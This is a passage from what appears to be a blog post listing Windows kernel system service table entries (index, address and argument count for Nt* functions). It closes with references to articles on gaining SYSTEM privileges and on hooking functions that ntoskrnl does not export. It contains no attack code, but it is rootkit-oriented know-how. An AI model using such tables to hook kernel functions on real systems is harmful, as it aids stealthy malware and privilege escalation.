0x8e 0x805a7bf0 5 NtPrivilegedServiceAuditAlarm
0x8f 0x80584a67 5 NtProtectVirtualMemory
0x90 0x8059f752 2 NtPulseEvent
0x91 0x80585755 2 NtQueryAttributesFile
0x94 0x80508c75 2 NtQueryDebugFilterState
0x95 0x8057ffd5 2 NtQueryDefaultLocale
0x96 0x80587c53 1 NtQueryDefaultUILanguage
0x97 0x8058731c b NtQueryDirectoryFile
0x98 0x80595d65 7 NtQueryDirectoryObject
0x9a 0x80635410 9 NtQueryEaFile
0x9b 0x805a2d89 5 NtQueryEvent
0x9c 0x8059b735 2 NtQueryFullAttributesFile
0x9d 0x805edffe 5 NtQueryInformationAtom
0x9e 0x805852cf 5 NtQueryInformationFile
0x9f 0x805af5ab 5 NtQueryInformationJobObject
0xa0 0x80644a66 5 NtQueryInformationPort
0xa1 0x8057fdea 5 NtQueryInformationProcess
0xa2 0x80576dc6 5 NtQueryInformationThread
0xa3 0x8057e718 5 NtQueryInformationToken
0xa4 0x8059d58c 1 NtQueryInstallUILanguage
0xa5 0x80668a4e 2 NtQueryIntervalProfile
0xa6 0x80634ebc 5 NtQueryIoCompletion
0xa7 0x80580c31 5 NtQueryKey
0xa8 0x80626765 6 NtQueryMultipleValueKey
0xa9 0x80668412 5 NtQueryMutant
0xaa 0x805f1cad 5 NtQueryObject
0xab 0x80626953 2 NtQueryOpenSubKeys
0xac 0x80626b89 4 NtQueryOpenSubKeysEx
0xad 0x8057f59e 2 NtQueryPerformanceCounter
0xae 0x80635c9d 9 NtQueryQuotaInformationFile
0xaf 0x8058679a 5 NtQuerySection
0xb0 0x805997e7 5 NtQuerySecurityObject
0xb1 0x80667325 5 NtQuerySemaphore
0xb2 0x8058e816 3 NtQuerySymbolicLinkObject
0xb3 0x80667a76 4 NtQuerySystemEnvironmentValue
0xb5 0x8057cbe2 4 NtQuerySystemInformation
0xb6 0x80597e57 1 NtQuerySystemTime
0xb7 0x8058c677 5 NtQueryTimer
0xb8 0x8059e436 3 NtQueryTimerResolution
0xb9 0x80577d61 6 NtQueryValueKey
0xba 0x80582264 6 NtQueryVirtualMemory
0xbb 0x8057960d 5 NtQueryVolumeInformationFile
0xbc 0x8058c78e 5 NtQueueApcThread
0xbd 0x804eb198 3 NtRaiseException
0xbe 0x80667075 6 NtRaiseHardError
0xbf 0x8057d886 9 NtReadFile
0xc0 0x805aeb82 9 NtReadFileScatter
0xc1 0x8059859d 6 NtReadRequestData
0xc2 0x805861e0 5 NtReadVirtualMemory
0xc3 0x80588402 1 NtRegisterThreadTerminatePort
0xc4 0x80574b77 2 NtReleaseMutant
0xc5 0x80598eb5 3 NtReleaseSemaphore
0xc6 0x80577945 5 NtRemoveIoCompletion
0xc7 0x8066e462 2 NtRemoveProcessDebug
0xc8 0x80626dec 2 NtRenameKey
0xc9 0x8062748f 3 NtReplaceKey
0xca 0x80580e50 2 NtReplyPort
0xcb 0x8057b2a0 4 NtReplyWaitReceivePort
0xcc 0x8057adb0 5 NtReplyWaitReceivePortEx
0xcd 0x80644b39 2 NtReplyWaitReplyPort
0xce 0x80667a4f 1 NtModifyDriverEntry
0xcf 0x805985f2 2 NtRequestPort
0xd0 0x8058cbc3 3 NtRequestWaitReplyPort
0xd1 0x8064dc04 1 NtRequestWakeupLatency
0xd2 0x805a4751 2 NtResetEvent
0xd3 0x8054543e 3 NtResetWriteWatch
0xd4 0x80627286 3 NtRestoreKey
0xd5 0x80650ff5 1 NtResumeProcess
0xd6 0x805806fa 2 NtResumeThread
0xd7 0x80627325 2 NtSaveKey
0xd8 0x806273b2 3 NtSaveKeyEx
0xd9 0x80625f0d 3 NtSaveMergedKeys
0xda 0x8058d4b2 9 NtSecureConnectPort
0xdd 0x805b16f1 2 NtSetContextThread
0xde 0x8066e4f1 3 NtSetDebugFilterState
0xdf 0x805ca1ac 1 NtSetDefaultHardErrorPort
0xe0 0x805b748b 2 NtSetDefaultLocale
0xe1 0x805b7433 1 NtSetDefaultUILanguage
0xe2 0x80667a5c 2 NtSetBootEntryOrder
0xe3 0x8063594e 4 NtSetEaFile
0xe4 0x8057abd7 2 NtSetEvent
0xe5 0x80575690 1 NtSetEventBoostPriority
0xe6 0x806683b0 1 NtSetHighEventPair
0xe7 0x806682e6 1 NtSetHighWaitLowEventPair
0xe8 0x8066e255 5 NtSetInformationDebugObject
0xe9 0x80578747 5 NtSetInformationFile
0xea 0x805e0b5f 4 NtSetInformationJobObject
0xeb 0x80626400 4 NtSetInformationKey
0xec 0x8059223e 4 NtSetInformationObject
0xed 0x80580221 4 NtSetInformationProcess
0xee 0x80577629 4 NtSetInformationThread
0xef 0x805a6844 4 NtSetInformationToken
0xf0 0x806685a0 2 NtSetIntervalProfile
0xf1 0x8057c39a 5 NtSetIoCompletion
0xf2 0x806508db 6 NtSetLdtEntries
0xf3 0x8066834f 1 NtSetLowEventPair
0xf4 0x8066827d 1 NtSetLowWaitHighEventPair
0xf5 0x80635c7e 4 NtSetQuotaInformationFile
0xf6 0x805a5626 3 NtSetSecurityObject
0xf7 0x80667d39 2 NtSetSystemEnvironmentValue
0xf8 0x80667a35 5 NtSetSystemEnvironmentValueEx
0xf9 0x80597238 3 NtSetSystemInformation
0xfa 0x8067b325 3 NtSetSystemPowerState
0xfb 0x8066697b 2 NtSetSystemTime
0xfc 0x805abc19 2 NtSetThreadExecutionState
0xfd 0x804ee9bf 7 NtSetTimer
0xfe 0x805acb3b 3 NtSetTimerResolution
0xff 0x805bc73c 1 NtSetUuidSeed
0x100 0x80592859 6 NtSetValueKey
0x101 0x806361ed 5 NtSetVolumeInformationFile
0x102 0x8066614b 1 NtShutdownSystem
0x103 0x80546d9e 4 NtSignalAndWaitForSingleObject
0x104 0x806687ec 1 NtStartProfile
0x105 0x80668999 1 NtStopProfile
0x106 0x80650fa0 1 NtSuspendProcess
0x107 0x805b0163 2 NtSuspendThread
0x108 0x80668af2 6 NtSystemDebugControl
0x109 0x80651a9b 2 NtTerminateJobObject
0x10a 0x80590cba 2 NtTerminateProcess
0x10b 0x80576714 2 NtTerminateThread
0x10c 0x8057e4f8 0 NtTestAlert
0x10d 0x8051ed5e 4 NtTraceEvent
0x10e 0x80667a69 4 NtTranslateFilePath
0x10f 0x806383c5 1 NtUnloadDriver
0x110 0x8062747c 1 NtUnloadKey
0x111 0x80625fc6 2 NtUnloadKey2
0x112 0x806261cb 2 NtUnloadKeyEx
0x113 0x805a220b 5 NtUnlockFile
0x114 0x805ae977 4 NtUnlockVirtualMemory
0x115 0x80589e79 2 NtUnmapViewOfSection
0x116 0x805c5aa2 2 NtVdmControl
0x117 0x805b07c8 4 NtWaitForDebugEvent
0x118 0x80574d38 5 NtWaitForMultipleObjects
0x119 0x8057428d 3 NtWaitForSingleObject
0x11a 0x8066821c 1 NtWaitHighEventPair
0x11b 0x806681bb 1 NtWaitLowEventPair
0x11c 0x80578248 9 NtWriteFile
0x11d 0x805aefe1 9 NtWriteFileGather
0x11e 0x805990a6 6 NtWriteRequestData
0x11f 0x805862d7 5 NtWriteVirtualMemory
0x120 0x805091c1 0 NtYieldExecution
0x121 0x805d7d7f 4 NtCreateKeyedEvent
0x122 0x8058f5cf 3 NtOpenKeyedEvent
0x123 0x8066922f 4 NtReleaseKeyedEvent
0x124 0x806694aa 4 NtWaitForKeyedEvent
0x125 0x8064f170 0 NtQueryPortInformationProcess
0x126 0x8064f1a4 0 NtGetCurrentProcessorNumber

参考资料:
1.MSDN系列(3)--Administrator用户直接获取SYSTEM权限 scz
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1900

2.hooking functions not exported by ntoskrnl
http://www.rootkit.com/newsread.php?newsid=151

3.Simple Hooking of Functions not Exported by Ntoskrnl.exe
http://www.rootkit.com/newsread.php?newsid=248



<< Home

This page is powered by Blogger. Isn't yours?